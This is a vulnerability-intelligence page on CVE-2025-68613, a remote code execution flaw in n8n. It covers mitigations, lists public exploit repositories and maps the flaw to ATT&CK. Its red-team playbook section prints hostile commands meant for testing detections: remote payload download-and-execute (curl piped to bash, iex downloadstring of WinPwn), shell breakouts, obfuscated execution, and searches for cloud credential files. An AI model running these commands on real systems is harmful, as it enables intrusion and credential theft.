CVE-2025-68613

HIGH CISA KEV EXPLOIT POC TTE Zero-Day Pub 19/12 Upd 12/03

Overview

This vulnerability is a critical remote code execution flaw caused by insufficient isolation in the workflow expression evaluation component of n8n. The root cause lies in the evaluation context for expressions supplied by authenticated users during workflow configuration, which is not adequately sandboxed from the underlying Node.js runtime environment. This permits execution of arbitrary code within the n8n process context via crafted expressions.

Vulnerability Description

n8n is an open source workflow automation platform. Versions starting with 0.211.0 and prior to 1.120.4, 1.121.1, and 1.122.0 contain a critical Remote Code Execution (RCE) vulnerability in their workflow expression evaluation system. Under certain conditions, expressions supplied by authenticated users during workflow configuration may be evaluated in an execution context that is not sufficiently isolated from the underlying runtime. An authenticated attacker could abuse this behavior to execute arbitrary code with the privileges of the n8n process. Successful exploitation may lead to full compromise of the affected instance, including unauthorized access to sensitive data, modification of workflows, and execution of system-level operations. This issue has been fixed in versions 1.120.4, 1.121.1, and 1.122.0. Users are strongly advised to upgrade to a patched version, which introduces additional safeguards to restrict expression evaluation. If upgrading is not immediately possible, administrators should consider the following temporary mitigations: Limit workflow creation and editing permissions to fully trusted users only; and/or deploy n8n in a hardened environment with restricted operating system privileges and network access to reduce the impact of potential exploitation. These workarounds do not fully eliminate the risk and should only be used as short-term measures.

Impact

An attacker with a valid n8n user account can execute arbitrary code on the server hosting n8n, gaining the same privileges as the n8n process. This enables unauthorized access to sensitive data, modification or deletion of workflows, and execution of system-level commands, potentially leading to full compromise of the affected environment. The attack requires authentication but no additional user interaction, making it feasible for any user with workflow editing permissions to exploit.

Solution

Users should upgrade n8n to versions 1.120.4, 1.121.1, or 1.122.0 where the issue is resolved with enhanced expression evaluation safeguards. Detailed patch instructions and advisories are available at the official n8n GitHub security advisory page (https://github.com/n8n-io/n8n/security/advisories/GHSA-v98v-ff95-f3cp). As a temporary mitigation, restrict workflow creation and editing permissions to fully trusted users and deploy n8n in a hardened environment with limited OS privileges and network access.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability present in the workflow automation platform n8n arises from a critical flaw in its expression evaluation system. This flaw allows authenticated users to supply expressions that may be executed in a context that lacks sufficient isolation from the underlying runtime environment. As a result, an attacker with valid credentials can exploit this weakness to execute arbitrary code with the same privileges as the n8n process. This vulnerability is particularly concerning because it does not require any special privileges beyond those of a regular user, making it accessible to a broader range of potential attackers who may have legitimate access to the system.

Various attack vectors can be employed to exploit this vulnerability. An attacker could craft malicious expressions during the workflow configuration phase, which, when evaluated, could lead to the execution of arbitrary commands on the host system. For instance, an attacker could manipulate the workflow to access sensitive data, modify existing workflows, or even execute system-level operations that compromise the integrity and confidentiality of the entire system. The implications of such exploitation are severe, as it could lead to unauthorized access to sensitive information, disruption of services, or even complete control over the affected instance.

The real-world impact of this vulnerability is significant, particularly for organizations that rely on n8n for automating critical business processes. The potential for full compromise of the affected instance poses a considerable business risk, as attackers could gain access to sensitive data, intellectual property, or customer information. Additionally, the ability to modify workflows could lead to operational disruptions, financial losses, and damage to an organization’s reputation. The risk is exacerbated in environments where n8n is integrated with other systems, as the exploitation could have cascading effects across interconnected applications and services.

To address this vulnerability, organizations must prioritize detection and mitigation strategies. The most effective long-term solution is to upgrade to the patched versions of n8n, which include enhanced safeguards to restrict expression evaluation and prevent unauthorized code execution. In scenarios where immediate upgrades are not feasible, administrators should implement temporary mitigations, such as limiting workflow creation and editing permissions to trusted users only. Furthermore, deploying n8n in a hardened environment with restricted operating system privileges and network access can help reduce the potential impact of exploitation. While these workarounds can provide some level of protection, they do not eliminate the risk entirely and should only be considered as interim measures until a full upgrade can be performed.

In conclusion, the critical vulnerability in n8n's workflow expression evaluation system presents a serious threat to organizations utilizing this platform. The ease of exploitation, combined with the potential for severe consequences, underscores the importance of prompt action to mitigate risks. By upgrading to the latest versions and implementing robust access controls, organizations can significantly reduce their exposure to this vulnerability and protect their sensitive data and operational integrity. Continuous monitoring and assessment of the security posture surrounding n8n will also be essential in ensuring that any emerging threats are promptly addressed.




CSURFACE threat intelligence has detected a notable surge in activity related to CVE-2025-68613, with telemetry indicating increased attempts to leverage the critical RCE vulnerability in n8n’s workflow expression evaluation. This uptick coincides with the recent addition of the vulnerability to the KEV catalog, which has likely raised awareness among threat actors. Concurrently, multiple new proof-of-concept exploits and scanning tools have emerged publicly, lowering the barrier for adversaries to conduct reconnaissance and exploitation. Although the EPSS score remains high and stable, the expanded availability of exploit code and detection tooling suggests that exploitation attempts may become more frequent and widespread. For defenders, this evolution underscores an elevated risk environment where opportunistic attackers can more readily weaponize the vulnerability, increasing the likelihood of successful intrusions. Consequently, the threat level associated with CVE-2025-68613 should be considered heightened, warranting increased vigilance in monitoring and detection efforts.

Affected Products (2)

Vendor Product Version CPE
n8n N8n N8n All cpe:2.3:a:n8n:n8n:*:*:*:*:*:node.js:*:*
n8n N8n N8n 1.121.0 cpe:2.3:a:n8n:n8n:1.121.0:*:*:*:*:node.js:*:*
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

Metasploit (1)

Module Authors Rank Platform Link
n8n Workflow Expression Remote Code Execution
exploits/multi/http/n8n_workflow_expression_rce
Lukas Johannes Möller Unknown unix, linux, win View

GitHub PoCs (33)

Repository Author Stars Forks Date Link
wioui/n8n-CVE-2025-68613-exploit
CVE-2025-68613: n8n RCE vulnerability exploit and documentation
wioui 101 22 2025-12-22 View
rxerium/CVE-2025-68613
Detection for CVE-2025-68613
rxerium 27 3 2025-12-22 View
TheStingR/CVE-2025-68613-POC
Public PoC + Scanner and research for CVE-2025-68613: Critical RCE in n8n Workflow Automation via Expression Injection (...
TheStingR 26 0 2025-12-22 View
hackersatyamrastogi/n8n-exploit-CVE-2025-68613-n8n-God-Mode-Ultimate
n8n God Mode Ultimate - CVE-2025-68613 Scanner v1.0.0 ║ ║ Workflow Automation Remote Code Execution
hackersatyamrastogi 5 3 2025-12-25 View
LingerANR/n8n-CVE-2025-68613
This laboratory provides a controlled environment to analyze and reproduce CVE-2025-68613 in a vulnerable n8n instance.
LingerANR 7 0 2025-12-26 View
sahilccras/Blackash-CVE-2025-68613
CVE-2025-68613
sahilccras 0 2 2025-12-22 View
JohannesLks/CVE-2025-68613-Python-Exploit
Python Exploit for CVE-2025-68613.
JohannesLks 1 0 2025-12-25 View
mbanyamer/n8n-Authenticated-Expression-Injection-RCE-CVE-2025-68613
Proof-of-Concept exploit for CVE-2025-68613: Authenticated Remote Code Execution in n8n via Expression Injection
mbanyamer 1 0 2025-12-25 View
releaseown/analysis-and-poc-n8n-CVE-2025-68613
Technical study of the CVE-2025-68613 vulnerability in n8n, covering affected versions, laboratory exploration scenario,...
releaseown 1 0 2025-12-25 View
Khin-96/n8n-cve-2025-68613-thm
Khin-96 1 0 2025-12-26 View
Ak-cybe/CVE-2025-68613-n8n-rce-analysis
CVE-2025-68613 (n8n) Critical RCE analysis + defensive recommendations (patch validation, detection ideas, and hardening...
Ak-cybe 1 0 2025-12-26 View
azilRababe/CVE-2025-68613
Technical analysis of CVE-2025-68613, a critical Expression Injection vulnerability in n8n that allows authenticated att...
azilRababe 0 0 2026-06-21 View
canpilayda/n8n-RCE-CVE-2025-68613
canpilayda 0 0 2026-04-14 View
reem-012/poc_CVE-2025-68613
POC for CVE-2025-68613
reem-012 0 0 2025-12-23 View
intbjw/CVE-2025-68613-poc-via-copilot
通过GitHub Copilot 辅助分析CVE-2025-68613漏洞
intbjw 0 0 2025-12-23 View
ali-py3/Exploit-CVE-2025-68613
ali-py3 0 0 2025-12-23 View
nehkark/CVE-2025-68613
This repository contains a laboratory-grade analysis and a **safe Proof-of-Concept** for the vulnerability **CVE-2025-68...
nehkark 0 0 2025-12-23 View
gagaltotal/n8n-cve-2025-68613
n8n CVE-2025-68613
gagaltotal 0 0 2025-12-28 View
shibaaa204/CVE-2025-68613
Lab for CVE-2025-68613 n8n RCE
shibaaa204 0 0 2026-01-07 View
GnuTLam/POC-CVE-2025-68613
My poc to exploit this vuln :D
GnuTLam 0 0 2025-12-23 View
secjoker/CVE-2025-68613
基于Pocsuite3 框架编写的漏洞验证与利用脚本,用于检测 n8n工作流自动化工具中的认证后远程代码执行漏洞(RCE)
secjoker 0 0 2025-12-24 View
r4j3sh-com/CVE-2025-68613-n8n-lab
Analysis of CVE-2025-68613
r4j3sh-com 0 0 2025-12-24 View
manyaigdtuw/CVE-2025-68613_Scanner
GUI Shodan-powered scanner to identify n8n instances exposed to CVE-2025-68613 (version range 0.211.0–1.122.0)
manyaigdtuw 0 0 2025-12-24 View
AbdulRKB/n8n-RCE
Remote Code Execution via n8n Workflows (Based on CVE-2025-68613)
AbdulRKB 0 0 2025-12-25 View
Dlanang/homelab-CVE-2025-68613
Dlanang 0 0 2025-12-26 View
cv-sai-kamesh/n8n-CVE-2025-68613
cv-sai-kamesh 0 0 2025-12-29 View
Rishi-kaul/n8n-CVE-2025-68613
Rishi-kaul 0 0 2025-12-29 View
ahmedshamsddin/n8n-RCE-CVE-2025-68613
n8n RCE (CVE-2025-68613)
ahmedshamsddin 0 0 2026-01-03 View
TheInterception/n8n_CVE-2025-68613_exploit_payloads
Expression injection payloads for n8n CVE-2025-68613 RCE
TheInterception 0 0 2026-01-03 View
J4ck3LSyN-Gen2/n8n-CVE-2025-68613-TryHackMe
The minor methodology for room: https://tryhackme.com/room/n8ncve202568613
J4ck3LSyN-Gen2 0 0 2025-12-26 View
Victorhugofariasvieir66/relatorio-n8n.md
Relatório TryHackMe — n8n CVE-2025-68613 (CVSS 9.9)
Victorhugofariasvieir66 0 0 2026-01-22 View
h3raklez/CVE-2025-68613
CVE-2025-68613 — n8n RCE via Expression Injection
h3raklez 0 0 2026-03-03 View
intelligent-ears/CVE-2025-68613
intelligent-ears 0 0 2025-12-24 View
Exploited in Wild CONFIRMED
Ransomware NOT ASSOCIATED
Attacker Interest MEDIUM
Sightings Some sightings

Threat Feed

14 events
2026-07-10
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-09
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-18
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-03-22
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-03-17
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-03-16
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-03-13
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-03-12
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-03-11
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-03-11
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

2025-12-22
PoC Published (33 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

2025-06-10
Exploit Published (0 ExploitDB, 1 Metasploit)

Public exploit code is available for this vulnerability

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Remote Code Execution
74% rce
Authentication Bypass
67% auth_bypass
Privilege Escalation
64% privilege_escalation
OS Command Injection
64% command_injection
Code Injection
63% code_injection

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059.004 Unix Shell Kill Chain execution ESXi, Linux, macOS, Network Devices
T1505.003 Web Shell Kill Chain persistence Linux, macOS, Network Devices, Windows
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1049 System Network Connections Discovery Kill Chain discovery Windows, IaaS, Linux, macOS, Network Devices, ESXi
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns

No CAPEC pattern mapped to this CVE.

Red Team Playbook

44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1049 System Discovery using SharpView Windows PowerShell Privileged
Get a listing of network connections, domains, domain users, and etc. sharpview.exe located in the bin folder, an opensource red-team tool. Upon successful execution, cmd.exe will execute sharpview.exe <method>. Results will output via stdout.
Command (PowerShell)
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
T1049 System Network Connections Discovery Windows CMD
Get a listing of network connections. Upon successful execution, cmd.exe will execute `netstat`, `net use` and `net sessions`. `net sessions` requires elevated privileges; on standard user accounts this command may not return results. Results will output via stdout.
Command (CMD)
netstat -ano
net use
net sessions 2>nul
T1049 System Network Connections Discovery FreeBSD, Linux & MacOS Linux, macOS Shell
Get a listing of network connections. Upon successful execution, sh will execute `netstat` and `who -a`. Results will output via stdout.
Command (Shell)
netstat
who -a
T1049 System Network Connections Discovery via PowerShell (Process Mapping) Windows PowerShell
Enumerate TCP connections and map to owning process names via PowerShell.
Command (PowerShell)
Get-NetTCPConnection | ForEach-Object {
  $p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
  [pscustomobject]@{
    Local   = "$($_.LocalAddress):$($_.LocalPort)"
    Remote  = "$($_.RemoteAddress):$($_.RemotePort)"
    State   = $_.State
    PID     = $_.OwningProcess
    Process = if ($p) { $p.ProcessName } else { $null }
  }
} | Sort-Object State,Process | Format-Table -AutoSize
T1049 System Network Connections Discovery via sockstat (Linux, FreeBSD) Linux Shell
Enumerate IPv4/IPv6 network endpoints on FreeBSD using sockstat.
Command (Shell)
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
T1049 System Network Connections Discovery via ss or lsof (Linux/MacOS) Linux, macOS Bash
List active TCP/UDP network connections using ss, with lsof as a fallback when ss is unavailable. Serves as an alternative to the netstat-based test.
Command (Bash)
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
T1049 System Network Connections Discovery with PowerShell Windows PowerShell
Get a listing of network connections. Upon successful execution, powershell.exe will execute `get-NetTCPConnection`. Results will output via stdout.
Command (PowerShell)
Get-NetTCPConnection
T1059.004 Change login shell Linux Bash Privileged
An adversary may want to use a different login shell. The chsh command changes the user login shell. The following test, creates an art user with a /bin/bash shell, changes the users shell to sh, then deletes the art user.
Command (Bash)
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
T1059.004 Command line scripts Linux Shell
An adversary may type in elaborate multi-line shell commands into a terminal session because they can't or don't wish to create script files on the host. The following command is a simple loop, echoing out Atomic Red Team was here!
Command (Shell)
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
T1059.004 Command-Line Interface Linux, macOS Shell
Using Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server. Upon successful execution, sh will download via curl and wget the specified payload (echo-art-fish.sh) and set a marker file in `/tmp/art-fish.txt`.
Command (Shell)
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
T1059.004 Create and Execute Bash Shell Script Linux, macOS Shell
Creates and executes a simple sh script.
Command (Shell)
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
T1059.004 Creating shell using cpan command Linux, macOS Shell
cpan lets you execute perl commands with the ! command. It can be used to break out from restricted environments by spawning an interactive system shell. Reference - https://gtfobins.github.io/gtfobins/cpan/
Command (Shell)
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1  cpan
T1059.004 Current kernel information enumeration Linux Shell
An adversary may want to enumerate the kernel information to tailor their attacks for that particular kernel. The following command will enumerate the kernel information.
Command (Shell)
uname -srm
T1059.004 Detecting pipe-to-shell Linux Shell
An adversary may develop a useful utility or subvert the CI/CD pipe line of a legitimate utility developer, who requires or suggests installing their utility by piping a curl download directly into bash. Of-course this is a very bad idea. The adversary may also take advantage...
Command (Shell)
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt      
T1059.004 Environment variable scripts Linux Shell
An adversary may place scripts in an environment variable because they can't or don't wish to create script files on the host. The following test, in a bash shell, exports the ART variable containing an echo command, then pipes the variable to /bin/bash
Command (Shell)
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
T1059.004 Harvest SUID executable files Linux Shell
AutoSUID application is the Open-Source project, the main idea of which is to automate harvesting the SUID executable files and to find a way for further escalating the privileges.
Command (Shell)
chmod +x #{autosuid}
bash #{autosuid}
T1059.004 LinEnum tool execution Linux Shell
LinEnum is a bash script that performs discovery commands for accounts,processes, kernel version, applications, services, and uses the information from these commands to present operator with ways of escalating privileges or further exploitation of targeted host.
Command (Shell)
chmod +x #{linenum}
bash #{linenum}
T1059.004 New script file in the tmp directory Linux Shell
An attacker may create script files in the /tmp directory using the mktemp utility and execute them. The following commands creates a temp file and places a pointer to it in the variable $TMPFILE, echos the string id into it, and then executes the file using bash, which...
Command (Shell)
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
T1059.004 Obfuscated command line scripts Linux Shell
An adversary may pre-compute the base64 representations of the terminal commands that they wish to execute in an attempt to avoid or frustrate detection. The following commands base64 encodes the text string id, then base64 decodes the string, then pipes it as a command to...
Command (Shell)
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
T1059.004 Shell Creation using awk command Linux, macOS Shell
In awk the begin rule runs the first record without reading or interpreting it. This way a shell can be created and used to break out from restricted environments with the awk command. Reference - https://gtfobins.github.io/gtfobins/awk/#shell
Command (Shell)
awk 'BEGIN {system("/bin/sh &")}'
T1059.004 Shell Creation using busybox command Linux Shell
BusyBox is a multi-call binary. A multi-call binary is an executable program that performs the same job as more than one utility program. It can be used to break out from restricted environments by spawning an interactive system shell. Reference -...
Command (Shell)
busybox sh &
T1059.004 What shell is running Linux Shell
An adversary will want to discover what shell is running so that they can tailor their attacks accordingly. The following commands will discover what shell is running.
Command (Shell)
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
T1059.004 What shells are available Linux Shell
An adversary may want to discover which shell's are available so that they might switch to that shell to tailor their attacks to suit that shell. The following commands will discover what shells are available on the host.
Command (Shell)
cat /etc/shells 
T1059.004 emacs spawning an interactive system shell Linux, macOS Shell Privileged
emacs can be used to break out from restricted environments by spawning an interactive system shell. Ref: https://gtfobins.github.io/gtfobins/emacs/
Command (Shell)
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
T1505.003 Web Shell Written to Disk Windows CMD
This test simulates an adversary leveraging Web Shells by simulating the file modification to disk. Idea from APTSimulator. cmd.aspx source - https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.aspx
Command (CMD)
xcopy /I /Y "#{web_shells}" #{web_shell_path}
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (7)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2025-68613
github.com
GitHub CVE x_refsource_CONFIRM
https://github.com/n8n-io/n8n/security/advisories/GHSA-v98v-ff95-f3cp
github.com
GitHub CVE x_refsource_MISC
https://github.com/n8n-io/n8n/commit/08f332015153decdda3c37ad4fcb9f7ba13a7c79
github.com
GitHub CVE x_refsource_MISC
https://github.com/n8n-io/n8n/commit/1c933358acef527ff61466e53268b41a04be1000
github.com
GitHub CVE x_refsource_MISC
https://github.com/n8n-io/n8n/commit/39a2d1d60edde89674ca96dcbb3eb076ffff6316
akamai.com
NVD API Exploit Third Party Advisory
https://www.akamai.com/blog/security-research/2026/feb/zerobot-malware-targets-n8n-automation-platform
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-68613